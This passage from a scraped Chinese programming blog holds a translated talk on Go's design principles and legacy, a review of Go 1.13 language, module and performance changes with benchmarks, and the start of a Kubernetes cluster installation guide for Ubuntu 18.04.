1989\nGo的interface和method采用尽可能独立的方式。只要添加正确的方法，任何类型都可以满足任何接口。可以在满足该接口的类型之前或之后定义一个接口。事实证明，这种方式是有效的，而且效果很好。\nGo的OO\nmethod提供任何类型的消息发送机制 接口通过动态调度多态性提供可重用性 Go提供了像Smalltalk定义的那种面向对象编程，只是更加贴近实际，即使它不包含类，对象或继承。\nSmalltalk: OO是关于消息发送 Go的interface允许方法像Smalltalk的消息一样自由使用，但是是在一种有类型的语言中使用 3. Go的设计哲学 2007年 在一次耗时45分钟的C++构建过程中……\n罗勃·派克：把时钟拨回到2007年9月，当时我正在对一个巨大的谷歌C++程序做一些微小但重要的优化工作，你们都与这个庞大的程序做过交互。我得这个编译过程在我们的巨大的分布式编译集群上跑了约45分钟。我收到一条消息:为C++标准委员会服务的几位Google员工将进行一个演讲，他们将告诉我们C++ 11的新功能。\n在一个小时的演讲中，我们听到了有关计划中的35个新功能的消息。……这时我问自己一个问题：”C++委员会真的相信C++的不足之处在于它没有足够的功能吗？” 当然……，简化语言而不是为其添加更多功能将是一个更大的成就。Rob Pike和他的办公室同事(Robert Griesemer、Ken Thompson)回到了办公桌前。这真的让他们开始思考…\n现代实用的编程语言应该是什么样？到45分钟构建完成时，他们已经有了一个充满想法的白板。\n语言设计的进化过程 我们从头开始构建，仅从C中借鉴了一些小东西，例如运算符和大括号，以及一些通用关键字。当然，我们还借鉴了我们所知道的其他语言的想法。- 罗伯·派克（Rob Pike)\n少即是(指数级的)多 – 2012年，在谈到Go的灵感时 Rob Pike\nGo的众多祖先和对Go有影响的语言：\n我要说的是，没有哪位语言设计师比这三位语言设计师(Rob Pike, Robert Griesemer, Ken Thompson) 具有更广泛或更深的语言设计专业知识。他们对以前发生的事情有很丰富的了解，他们知道该采摘什么。他们还具有事后观察的优势(后发优势)。这是修复他们认为可以做得更好的事情的机会。\n进化不是革命\n原则1：大多数思想都来自先前的思想 大多数思想根本不是新事物\n进化不是革命：新语言应该巩固而不是发明新特性\n等待良好的设计\n原则2：No是暂时的，Yes是永远的。 在Go的整个历史中，有很多这样的实例。通常的想法是，在设计语言时，不会出现“撤消(undo)”的情况。如果您今天说“No”，那么您明天总是可以说“Yes”，但是如果今天您说“Yes”，那么您将在很长一段时间或永远被它“困”住…。\n如有疑问，请将其排除在外。- Joshua Bloch：关于设计的对话– 2002\n共识驱动的设计\n原则3: 应该使一切都尽可能简单，但不要过于简单。-爱因斯坦 当我们三个人开始时，这纯粹是研究。…我们从一个想法开始，即我们三个人都必须针对该语言的每个特性进行讨论，因此，无论出于何种原因，都不会在该语言中放入多余的垃圾。 – 肯·汤普森（Ken Thompson）访谈– 2011年，肯从Bell Labs学习了这种做法\n有两种构建软件设计的方法。一种方法是使其变得如此简单，以至于显然没有缺陷。另一种方法是使其变得如此复杂，以至于没有明显的缺陷。 – 托尼·霍尔（Tony Hoare）皇帝的旧衣服-1981年，Go采取了第一种方法，而大多数其他语言都采用第二种方法。\n快速迭代期待并实现大规模改变\n最后一个原则是快速迭代的原则。 当您处于语言的设计阶段时，您将需要进行频繁且有时是巨大的更改。朝着这个期望前进，并围绕它建立您的流程。\n4. 今天的Go 我们来看Go如今是如何演变的。\n2019年 Go今天是如何继续进行演化的。\n上面的4条原则在该语言的初期，在发行稳定版之前和被采用之前都非常有效。\n但我们现在的处境非常不同。我们不再能够将所有贡献者都放在白板上，甚至不能放在如此大的房间中(译注：Go目前的contributor数量庞大)。\n现在，我想与大家分享Go项目今天如何进行更改的。\n我们的原则是“等待良好的设计”，这似乎意味着这是一种消极的活动，但这与事实相去甚远。真正的意思是，除非我们非常有信心采用正确的方法，否则我们不会接受更改。\n这意味着所有问题的默认答案是“否”。“是”的成本非常高，因此需要一个压倒性的理由。\n对一件事说“Yes”意味着对其他一切都说“No”。\n软件复杂性的主要原因是供应商不加批判地采用了用户想要的几乎所有功能。人们似乎将复杂误解为先进。\n不可理解的应该引起怀疑而不是钦佩。- Niklaus Wirth, 1995年\n我们对Go进行了长期展望。为下一个十年或两个或更多个而设计。大多数项目的运行时间要短得多，因此通常会接受第一个可通过的解决方案。\n随着时间的流逝，经过长时间这种训练的人们已经意识到：如果一个好主意会被接受，或者反之，不好的主意会被拒绝。\n由于我们的长期观点，在为Go项目做出贡献时人们挣扎并不罕见。当他们的想法不能被接受时，许多人感到被亲自拒绝。\n或更糟糕的是，人们会感到自己不合格或不称职。我记得有这种感觉。\n几年前，我创建了一个网站引擎Hugo，随着时间的推移，它成为Go模板的第一用户，并在此过程中发现了几个问题。尽管如此，我感到非常没有资格报告这些问题，因为我认为创建这些库的“专家”显然比我了解更多，并且我无能为力。在第一次或第二次Gophercon上，我碰巧在午餐台上站在Russ Cox旁边，我们开始交谈。他强烈鼓励我报告这些问题，并让我知道他们多么地需要反馈。\n几年后，我加入了Go团队，并从这个经验中学到了很多。我观察到的一件事是，Go团队那些加入较久的核心成员有一件事比大多数其他成员都做得更好，这可能不是您的想法。Go团队的老成员已经非常习惯于听到“不”的声音。我们团队成员的提议被拒绝的比率很高，甚至高于Go团队之外的提议。我们已经了解到，每个“No”都与拥有正确的“Yes”仅一步之遥。\n因为我们经常听到“No”的声音，所以我们同情别人被拒绝的感觉。\n今天我要传达给您的信息是您受到重视和需要。请继续尝试。在接下来的十年或二十年或更长的时间内，您是Go演化的关键部分。\nGo开发流程 Go开发流程\n实验流程简化始于今年早些时候，Russ Cox谈论了我们用来对Go进行更改的流程以及它的演变方式。在演讲中，他讨论了实验的两个步骤，并简化了我们的迭代过程。\n我们的过程不是为了速度而建立的，而是为了正确。我们花费大量时间进行实验和简化，然后完善自己的想法，直到它们正确为止。\n你们都是Go伟大实验的一部分，并且是继续构建Go的过程的关键部分\n我想与大家分享3种方法，每个人都可以为Go做出贡献。\n使用Go -\u0026gt; 识别问题 -\u0026gt; 您遇到的事情/体验并写下来。 您有想法-\u0026gt; 编写建议 -\u0026gt; 纳入反馈 您阅读提案 -\u0026gt; 阅读评论 \u0026gt; 添加您的声音 Go开发过程：实验 -\u0026gt; 简化 -\u0026gt; 最终交付。通过此提炼过程，想法将准备就绪，我们将进行交付。我想对过程的这一部分及其工作原理提供更多见解。\n共识驱动的设计\n误解：谷歌有一小群“决策者” 真相：评论者之间达成共识 关于提案过程的事实\n事实上，大多提案提案都很小 几乎所有提案的讨论最终都在参与者（评论员）之间达成了共识。 提案审核委员会主要进行一些“园艺劳动”（译者：社区行为培养) 您看到这不是一件非常迷人的工作。我们评论的大多数问题都要求您澄清问题或什么也不做，让对话继续进行。我们还会考虑谁在对话中丢失，并邀请他们加入对话。\n当讨论似乎已经解决（赞成或反对）时，我们将关闭其中的一小部分。\n让我们看一下最近的一个建议。这只是从最近提案池中随机选取的一个。\n它具有一些有趣的属性：大量参与，来自9个参与者的25条评论引用用户问题（体验）。早期该issue尚无共识（由点赞决定）。\n在对该想法进行讨论和完善之后，很明显已经达成了普遍共识。\n它被标记为“可能接受”，并且留下足够的时间窗口允许任何人提供我们不接受的理由。\n这是一组最近审核的提案。您会注意到，他们每个人都引用了之前的评论，并根据这些评论提出了建议。\n在提案审核委员会中，通常会有一个人留下评论，但代表所有出席者。Russ Cox通常志愿承担了这个角色，这就是为什么所有这些issue上面都加上他的名字的原因。在大多数情况下，此窗口不会附加注释。我们觉得这个窗口虽然很少使用，但对于建立共识的过程至关重要。\n变化是缓慢发生的 这是设计使然。这是缓慢的、谨慎和有条不紊的，以确保我们最终达到想要的目标。\n过去十年的主要里程碑\n尽管Go的变化缓慢，但增长迅速。我想了解一下过去十年中的一些主要里程碑。\n2009年, Go语言开源，Gopher诞生，Go脱离了Google的实验场； 2010年，获得年度TIOBE语言，Bossie奖，引入append和go tour； 2011年，gccgo合并到GCC中，引入gofix，YouTube在生产中采用了Go； 2012年，Go 1.0发布！发布Go1兼容性承诺；在Google内部发布第一项Go生产服务 2013年，Packer，Docker，Hugo用Go编写；6个月发布周期；第一个Go大会举行（日本东京） 2014年，Kubernetes使用Go开发；代码仓库由Mercurial→Git；第一次美国和欧洲会议；Go项目贡献者达到500名； 2015年，Go编译器使用Go重写，实现自举；GC精化; Women Who Go\u0026amp;GoBridge born; 印度、中国第一次go大会举行； 2016年，支持HTTP/2和Context；第一次拉丁\u0026amp;中东Go大会举行；最受喜欢的5门编程语言；第一次Go用户调查；贡献者达1000名； 2017年，GC小于ms级的暂停; 引入type alias；开发人员想要使用编程语言第一名第一次）; 13次会议; 第一届贡献者峰会 2018年，引入Go模块；来自Go团队之外的贡献者人数首次超过Go团队；19次Go会议；Go新品牌和logo发布；PR数在github排名第四; 开发人员打算学习的语言中排名第一 5. Go的遗产 没有时间机器可以达到未来。未来的到来缓慢而又出乎意料。我们不知道Go或世界将会发生什么。但是我们确实知道我们想留下什么标记。\n我们希望Go能够留下创新的遗产 Go向主流受众带来了创新的想法，例如goroutine，channel，简单的interface。这些想法现在正在其他语言中出现，我们为这一趋势继续感到高兴。\nGo fmt于2009年推出时颇有争议。现在，大多数语言都采用了类似的方法。\n也许我们最有影响力的遗产将是，我们像Go一样激励人们挑战既定的规范，并在各处寻找灵感。\n我们希望Go留下增强信心和能力的遗产 Go使开发人员能够编写生产服务器软件而无需C和C++所需的额外专业知识，而无需现代Java的复杂性，也无需解释语言的性能成本。\nGo比其他任何语言都更能使人们把他们的想法变成现实。当我第一次开始撰写Hugo时，我个人感觉到了这一点，这是Go最吸引我的地方。\n其他那些也被赋予了类似的能力和信心的人，其中许多人在本次会议上谈到了Go的创造性用途，包括Florin的家庭自动化研讨会，Ron的机器人，Elias的GUI等。\nGo改变生活。 我有幸环游世界，在任何地方遇到的男人和女人，他们通常没有CS背景或学位，但能够学习Go并用它来创办公司，获得更好的工作并改善他们和他们家人的生活。\n遗产不会为人们留下任何东西。它在人们身上留下了一些东西。- 彼得·斯特普尔\n我们每个人都受到过往历史的影响。我们是遗产。我们被影响，我们影响别人。\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2019/11/04/the-legacy-of-go/","summary":"\u003cp\u003e本文是\u003ca href=\"https://gohugo.io/\"\u003egohugo\u003c/a\u003e作者\u003ca href=\"https://spf13.com/\"\u003eSteve Francia\u003c/a\u003e在意大利佛罗伦萨举办的\u003ca href=\"https://golab.io/\"\u003eGoLab\u003c/a\u003e上分享的闭幕演讲讲稿的\u003ca href=\"https://spf13.com/presentation/the-legacy-of-go/\"\u003e文字版\u003c/a\u003e，该演讲的主题为”Go的遗产”。该演讲讨论了\u003ca href=\"https://tonybai.com/tag/go\"\u003eGo语言\u003c/a\u003e继承的遗产，以及它是如何尊重这些遗产的，并在最后总结了Go希望留给后来者的遗产。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/the-legacy-of-go/the-legacy-of-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e演讲胶片\u003c/strong\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e我们有责任保留好留给我们的遗产，并留下值得我们子孙后代继承的遗产 – 克里斯汀·格雷格（Christine Gregoire）\u003c/p\u003e","title":"Go语言的遗产"},{"content":"2019年对于Go语言来说也是一个重要的年份，因为在2019年的11月10日，Go即将迎来其开源10周年的纪念日。在这个重要日子的前夕，在GopherCon 2019大会后，Go项目组在2019.9.4日发布了Go 1.13版本。\n这是自2017年GopherCon大会上Russ Cox做“Toward Go 2″主题演讲以来Go项目发布的第四个版本（前三个分别是：go 1.10、go 1.11和go 1.12)。\nGo2是这两年Go项目的核心主题。Go项目组也一直在摸索着向Go2演化的节奏和过程规范，并已经从Go 1.11版本起做出了实质性的动作：添加go module机制、错误处理优化、泛型讨论和多次草案的发布等。Russ Cox这段时间还在自己的博客上撰写了一系列有关Go proposal流程究竟该如何改进的探索性文章，这与当年vgo“放大招”前的节奏有些相似:)。\n回归正题，我们来说Go 1.13这个版本。Go 1.13延续了对之前版本添加的Go2特性：Go module的优化；并且从该版本开始，Go项目组开启了Go2中呼声也很高的错误处理的优化。下面我们详细来看看Go 1.13中值得关注的几个变化。\n1. 语言 Go 1.13中，Go语言规范有了一些小变化。\nGo在设计伊始就和多数C-Family语言一样继承了C语言关于**数字字面量(number literal)**的语法形式，和1978年发布的K\u0026amp;R C一样，Go仅支持十进制、八进制、十六进制和十进制形式的浮点数的数字字面量形式，比如：\na := 53 //十进制 b := 0700 // 八进制，以\u0026quot;0\u0026quot;开头 c := 0xaabbcc // 十六进制 以\u0026quot;0x\u0026quot;开头 c1 := 0Xddeeff // 十六进制 以\u0026quot;0X\u0026quot;开头 f1 := 10.24 // 十进制浮点数 f2 := 1.e+0 // 十进制浮点数 f3 := 31415.e-4 // 十进制浮点数 这些数字字面量语法应该说是够用的，但是和其他语言在进化过程中添加的其他数字字面量表达形式相比，又显得有些不足。于是Go设计者决定在Go 1.13版本中增加Go对数字字面量的表达能力，在这方面对Go语言做了如下补充：\n增加二进制数字字面量，以0b或0B开头\n在保留以”0″开头的八进制数字字面量形式的同时，增加以”0o”或”0O”开头的八进制数字字面量形式\n增加十六进制形式的浮点数字面量，以0x或0X开头的、形式如0×123.86p+2的浮点数\n为提升可读性，在数字字面量中增加数字分隔符”_”，分隔符可以用来分隔数字(起到分组提高可读性作用，比如每3个数字一组)，也可以用来分隔前缀与第一个数字。\na := 5_3_7 b := 0o700 b1 := 0O700 b2 := 0_700 b3 := 0o_700 c := 0b111 c1 := 0B111 c2 := 0b_111 f1 := 0x10.24p+3 f2 := 0x1.Fp+0 f3 := 0x31_415.p-4\n注：截至目前，有些第三方工具依然无法识别数字字面量中的分隔符，会误报其为语法错误。\nGo 1.13中关于语言规范方面的另一个变动点是取消了移位操作(\u0026raquo;的\u0026laquo;)的右操作数仅能是无符号数的限制，以前必须的强制到uint的转换现在不必要了：\nvar i int = 5 fmt.Println(2 \u0026lt;\u0026lt; uint(i)) // before go 1.13 fmt.Println(2 \u0026lt;\u0026lt; i) // in go 1.13 and later version 不过值得注意的是：go 1.12版本在go.mod文件中增加了一个go version的指示字段，用于指示该module内源码所使用的 go版本。Go 1.13的发布文档强调了只有在go.mod中的go version指示字段为go 1.13(以及以后版本)时，上述的语言特性变更才会生效，否则就会报类似下面的错误：\n// github.com/bigwhite/experiments/go1.13-examples/number_literal.go $go run number_literal.go # command-line-arguments ./number_literal.go:23:7: underscores in numeric literals only supported as of -lang=go1.13 ./number_literal.go:24:7: 0o/0O-style octal literals only supported as of -lang=go1.13 ./number_literal.go:25:8: 0o/0O-style octal literals only supported as of -lang=go1.13 ./number_literal.go:26:8: underscores in numeric literals only supported as of -lang=go1.13 ./number_literal.go:27:8: underscores in numeric literals only supported as of -lang=go1.13 ./number_literal.go:28:7: binary literals only supported as of -lang=go1.13 ./number_literal.go:29:8: binary literals only supported as of -lang=go1.13 ./number_literal.go:30:8: underscores in numeric literals only supported as of -lang=go1.13 ./number_literal.go:31:8: hexadecimal floating-point literals only supported as of -lang=go1.13 ./number_literal.go:32:8: hexadecimal floating-point literals only supported as of -lang=go1.13 ./number_literal.go:32:8: too many errors // github.com/bigwhite/experiments/go1.13-examples/shift_with_signed_operand.go $go run shift_with_signed_operand.go # command-line-arguments ./shift_with_signed_operand.go:8:16: invalid operation: 2 \u0026lt;\u0026lt; i (signed shift count type int, only supported as of -lang=go1.13) 当然，如果repo下没有go.mod或者单独在某个没有go.mod的目录下使用go 1.13编译器运行上面代码，则是无问题的。\n2. Go module机制的继续优化以及行为变化 Go module自Go 1.11版本加入Go以来收到了Go社区的大量反馈，Go核心团队也针对这些反馈对Go module机制进行了持续地优化。在Go 1.13中，Go module的一些改变如下：\n1) GO111MODULE=auto的行为变化 在Go 1.12版本中，GO111MODULE默认值为auto，在auto模式下，GOPATH/src下面的repo以及在GOPATH之外的repo依旧使用GOPATH mode，不使用go.mod来管理依赖；在Go 1.13中，module mode优先级提升，GO111MODULE的默认值依然为auto，但在这个auto下，无论是在GOPATH/src下还是GOPATH之外的repo中，只要目录下有go.mod，go编译器都会使用go module来管理依赖。\n2) GOPROXY有默认初值并支持设置成多个代理的列表 之前版本中，GOPROXY这个环境环境变量默认值为空，go编译器都是直接与类似github.com这样的代码托管站点通信并获取相关依赖库的数据的；一些第三方GOPROXY服务发布后，迁移到go module的gopher们发现：大多数情况下通过proxy获取依赖包数据的速度要远高于直接从代码托管站点获取，因此GOPROXY总是会配置上一个值。Go核心团队也希望Go世界能有一个像nodejs那样的中心化的module仓库为大家提供服务，于是在Go 1.13中将https://proxy.golang.org作为GOPROXY环境变量的默认值之一，这也是Go官方提供的GOPROXY服务。\n同时GOPROXY支持设置为多个proxy的列表(多个proxy之间采用逗号分隔)，Go编译器会按顺序尝试列表中的proxy以获取依赖包数据，但是当有proxy server服务不可达或者是返回的http状态码不是404也不是410时，go会终止数据获取。\nGo 1.13中，GOPROXY的默认值为https://proxy.golang.org,direct。当官方代理返回404或410时，Go编译器会尝试直接连接依赖module的代码托管站点以获取数据。\n由于国内无法访问Go官方的proxy，因此我一般会将我的工作环境下的GOPROXY设置为：\nexport GOPROXY=https://goproxy.cn,自己在国外主机使用athens搭建的代理,direct 3) GOSUMDB 我们知道go会在go module启用时在本地建立一个go.sum文件，用来存储依赖包特定版本的加密校验和。同时，Go维护下载的软件包的缓存，并在下载时计算并记录每个软件包的加密校验和。在正常操作中，go命令对照这些预先计算的校验和去检查某repo下的go.sum文件，而不是在每次命令调用时都重新计算它们。\n在日常开发中，特定module版本的校验和永远不会改变。每次运行或构建时，go命令都会通过本地的go.sum去检查其本地缓存副本的校验和是否一致。如果校验和不匹配，则go命令将报告安全错误，并拒绝运行构建或运行。在这种情况下，重要的是找出正确的校验和，确定是go.sum错误还是下载的代码是错误的。如果go.sum中尚未包含已下载的module，并且该模块是公共module，则go命令将查询Go校验和数据库以获取正确的校验和数据存入go.sum。如果下载的代码与校验和不匹配，则go命令将报告不匹配并退出。\nGo 1.13提供了GOSUMDB环境变量用于配置Go校验和数据库的服务地址（和公钥），其默认值为”sum.golang.org”，这也是Go官方提供的校验和数据库服务(大陆gopher可以使用sum.golang.google.cn)。\n出于安全考虑，建议保持GOSUMDB开启。但如果因为某些因素，无法访问GOSUMDB（甚至是sum.golang.google.cn），可以通过下面命令将其关闭：\ngo env -w GOSUMDB=off GOSUMDB关闭后，仅能使用本地的go.sum进行包的校验和校验了。\n4）面向私有模块的GOPRIVATE 有了GOPROXY后，公共module的数据获取变得十分easy。但是如果依赖的是企业内部module或托管站点上的private库，通过GOPROXY（默认值）获取显然会得到一个失败的结果，除非你搭建了自己的公私均可的goproxy server并将其设置到GOPROXY中。\nGo 1.13提供了GOPRIVATE变量，用于指示哪些仓库下的module是private，不需要通过GOPROXY下载，也不需要通过GOSUMDB去验证其校验和。不过要注意的是GONOPROXY和GONOSUMDB可以override GOPRIVATE中的设置，因此设置时要谨慎，比如下面的例子：\nGOPRIVATE=pkg.tonyba.com/private GONOPROXY=none GONOSUMDB=none GOPRIVATE指示pkg.tonybai.com/private下的包不经过代理下载，不经过SUMDB验证。但GONOPROXY和GONOSUMDB均为none，意味着所有module，不管是公共的还是私有的，都要经过proxy下载，经过sumdb验证。前面提到过了，GONOPROXY和GONOSUMDB会override GOPRIVATE的设置，因此在这样的配置下，所有依赖包都要经过proxy下载，也要经过sumdb验证。不过这个例子中的GOPRIVATE的值也不是一无是处，它可以给其他go tool提供私有module的指示信息。\n3. Go错误处理优化迈出第一步 Go核心团队早在一年前就提出了关于go错误处理的多个proposal，其中涉及解决if err != nil 大量重复问题的，有解决错误包装(wrap)问题的，有解决error value比较问题的。在Go 1.13中，Go核心团队落实了后两个：\n通过标准库增加了errors.Is和As函数来解决error value比较问题\n增加errors.Unwrap来解决error unwrap问题。\n并且Go通过在fmt.Errorf中新增的”%w”动词来协助Gopher快速创建一个包装错误，创建的error变量实现了下面接口：\ninterface { // 一个匿名接口 Unwrap() error } 关于Go 1.13中错误处理的改进，Go官方发表了一篇博客《Go 1.13中的错误处理》给出了十分详尽的说明，这里就不赘述了。\n4. 性能 个人觉得Go 1.13中能带来性能提升的变动主要有三个：\n第一个就是defer的性能提升。\ndefer语法让Gopher在进行资源(文件、锁)释放的过程变动优雅很多，也不易出错。但在性能敏感的应用中，defer带来的性能负担也是Gopher必须要权衡的问题。在Go 1.13中，Go核心团队对defer性能做了大幅优化，官方给出了在大多数情况下，defer性能提升30%的说法。\n这里可以来验证一下：我们使用Go 1.13和Go 1.12.7两个版本运行同一个benchmark(macos 1.6G 8核 16G内存)：\n// github.com/bigwhite/experiments/go1.13-examples/defer_benchmark_test.go package defer_test import \u0026quot;testing\u0026quot; func sum(max int) int { total := 0 for i := 0; i \u0026lt; max; i++ { total += i } return total } func foo() { defer func() { sum(10) }() sum(100) } func BenchmarkDefer(b *testing.B) { for i := 0; i \u0026lt; b.N; i++ { foo() } } go 1.13下的benchmark结果：\n$go test -bench . defer_benchmark_test.go goos: darwin goarch: amd64 BenchmarkDefer-8 17341530 67.3 ns/op PASS ok command-line-arguments 1.245s go 1.12.7下的benchmark结果：\n$go test -bench . defer_benchmark_test.go goos: darwin goarch: amd64 BenchmarkDefer-8 20000000 76.5 ns/op PASS ok command-line-arguments 1.618s 我们看到性能的确有提升，但没有到30%这么大幅度，也许这仅仅是一个个例吧。\n第二个是优化后的逃逸分析(escape analysis)让编译器在选择究竟将变量分配在stack上还是heap上的时候更加精确。在老版本里分配到heap上的变量，在Go 1.13中可能就会分配到stack上，从而减少内存分配的次数，一定程度上减轻gc的压力，达到性能提升的目的。\n第三个是sync包中Mutex、RWMutex的方法的inline化带来的性能提升，官方说法是10%。我们同样来benchmark一下：\n// github.com/bigwhite/experiments/go1.13-examples/mutex_benchmark_test.go package mutex_test import ( \u0026quot;sync\u0026quot; \u0026quot;testing\u0026quot; ) func sum(max int) int { total := 0 for i := 0; i \u0026lt; max; i++ { total += i } return total } func foo() { var mu sync.Mutex mu.Lock() sum(10) mu.Unlock() } func BenchmarkMutex(b *testing.B) { for i := 0; i \u0026lt; b.N; i++ { foo() } } Go 1.13下的结果：\n$go test -bench . mutex_benchmark_test.go goos: darwin goarch: amd64 BenchmarkMutex-8 43395768 26.4 ns/op PASS ok command-line-arguments 1.182s Go 1.12.7下的结果：\n$go test -bench . mutex_benchmark_test.go goos: darwin goarch: amd64 BenchmarkMutex-8 50000000 28.4 ns/op PASS ok command-line-arguments 1.457s 从结果看，提升在7%左右，约等于10%吧。\n5. 其他变化 简单罗列一些我认为值得关注的小变化：\nGo 1.13现在支持Android 10了；对MacOS的支持需要至少10.11版本；\ngodoc不再和go、gofmt放入go release版中，需要godoc的，需要单独从golang.org/x/tools/cmd/godoc中下载安装；\ncrypto/tls默认开启tls 1.3支持；\nunicode包支持的unicode标准从10.0版本升级到Unicode 11.0版本\n6. 小结 Go 1.13版本的发布标志着Go向着Go2的目标又迈出了坚实的一步，Go的演化节奏也是恰到好处：\ngo module已经落地成型，逐渐打磨到成熟；\n错误处理：迈出阶段性的一步，后续持续改进\nGo generics: 是Go2最大的”挑战”。我们看到在GopherCon 2019大会上，Ian Lance Taylor带来的有关Go generics的proposal的改进正在被越来越多Gopher所认可。\n不过按照go team的行事风格，任何一个proposal都会经历”实验，简化和发布”的步骤，Go generics还有很长的路要走，让我们共同期待！\n本文中涉及的样例源码可以在这里获取到。\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2019/10/27/some-changes-in-go-1-13/","summary":"\u003cp\u003e2019年对于\u003ca href=\"https://golang.org/\"\u003eGo语言\u003c/a\u003e来说也是一个重要的年份，因为在2019年的11月10日，\u003ca href=\"https://tonybai.com/tag/go\"\u003eGo\u003c/a\u003e即将迎来其\u003ca href=\"https://tonybai.com/2017/10/24/go-evolution-for-ten-years-an-interview-by-osc\"\u003e开源10周年\u003c/a\u003e的纪念日。在这个重要日子的前夕，在GopherCon 2019大会后，Go项目组在2019.9.4日发布了\u003ca href=\"https://tip.golang.org/doc/go1.13\"\u003eGo 1.13版本\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-1.13-release-logo.png\"\u003e\u003c/p\u003e\n\u003cp\u003e这是自2017年GopherCon大会上\u003ca href=\"https://swtch.com/~rsc/\"\u003eRuss Cox\u003c/a\u003e做\u003ca href=\"https://blog.golang.org/toward-go2\"\u003e“Toward Go 2″\u003c/a\u003e主题演讲以来Go项目发布的第四个版本（前三个分别是：\u003ca href=\"https://tonybai.com/2018/02/17/some-changes-in-go-1-10\"\u003ego 1.10\u003c/a\u003e、\u003ca href=\"https://tonybai.com/2018/11/19/some-changes-in-go-1-11/\"\u003ego 1.11\u003c/a\u003e和\u003ca href=\"https://tonybai.com/2019/03/02/some-changes-in-go-1-12/\"\u003ego 1.12\u003c/a\u003e)。\u003c/p\u003e","title":"Go 1.13中值得关注的几个变化"},{"content":"如今，你几乎不可避免地会听到来自Kubernetes的发声，你更没有充分的理由拒绝去听。 一旦一切就绪，这个强大的容器编排工具将以您难以想象的敏捷性来扩展您的操作。\n为了实际使用Kubernetes进行部署和管理容器，您首先必须创建Kubernetes服务器集群。 一旦集群建立后，您就能够部署，扩展和管理您的容器化应用程序了。\n在Ubuntu Server 18.04的帮助下，我将引导您完成此过程。 我们至少需要2个Ubuntu Server 18.04实例和一个具有sudo特权的用户帐户才能完成此工作。 您需要确保所有计算机都已做完更新（使用sudo apt-get update和sudo apt-get upgrade -y命令）。\n还需要一些时间，大约30分钟左右。\n我将在两台机器上进行示范操作：一个master节点和一个worker节点。\n我们开始吧！\n安装Docker master节点和worker节点上都需要进行下面的操作。\n我们要做的第一件事就是安装Docker。要安装docker，先要登录到Server上，输入并执行下面命令：\nsudo apt-get install docker.io 一旦docker安装成功后，你需要将你的账号添加到docker组中(否则，每次运行docker命令，都需要带上sudo，这可能导致安全问题）。执行下面命令将你的账号添加到docker组中：\nsudo usermod -aG docker $USER 登出并重新登录，这样上述配置变化才能生效。\n启动并使能docker后台驻留程序：\nsudo systemctl start docker sudo systemctl enable docker 安装Kubernetes 现在我们需要在所有节点上安装Kubernetes了。首先，我们通过下面命令添加Kubernetes GPG key：\ncurl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo apt-key add 如果没有安装curl，可以通过下面命令安装：\nsudo apt-get install curl -y 接下来，添加必要的仓库：\nsudo apt-add-repository \u0026quot;deb http://apt.kubernetes.io/ kubernetes-xenial main\u0026quot; 通过下面命令安装必要的软件：\nsudo apt-get install kubeadm kubelet kubectl -y 上面的命令将自动安装目标软件以及它们的依赖。\n主机名 为了让后续操作更简单，我们通过下面命令为每个server赋予新的主机名。\nsudo hostnamectl set-hostname HOSTNAME HOSTNAME是主机的名字\n你可以使用下面这些主机名：\nkubemaster node1 node2 node3 其他等等 登出并重新登录。最后，将主机名映射为IP地址。通过下面命令打开host文件并编辑：\nsudo nano /etc/hosts 在文件末尾附加类似下面的内容（保证你的主机名与其正确的ip一一对应）：\n192.168.1.218 kubemaster 192.168.1.219 kubenode1 192.168.1.220 kubenode2 关闭并保存文件。\n关闭Swap 要运行kubernetes，你必须首先关闭swap。我们可以通过下面命令来做到这一点：\nsudo swapoff -a 如果要使修改永久生效(否则，下次重启时，swap会重新启用)，执行下面命令：\nsudo nano /etc/fstab 在fstab文件中，将swap入口注释掉，如下图：\n图: 通过fstab关闭swap\n初始化Master 接下来，我们通过下面命令来初始化master节点。\nsudo kubeadm init --pod-network-cidr=192.168.1.90/16 初始化结束后，你将看到将worker node加入集群的精确命令(如下图)，保证要拷贝下该命令：\n图: 将worker node加入master的命令\n仅在master上创建下面目录：\nmkdir -p $HOME/.kube 将相应的配置你文件拷贝到该目录下：\nsudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config 赋予配置文件适当的权限：\nsudo chown $(id -u):$(id -g) $HOME/.kube/config 部署Pod网络 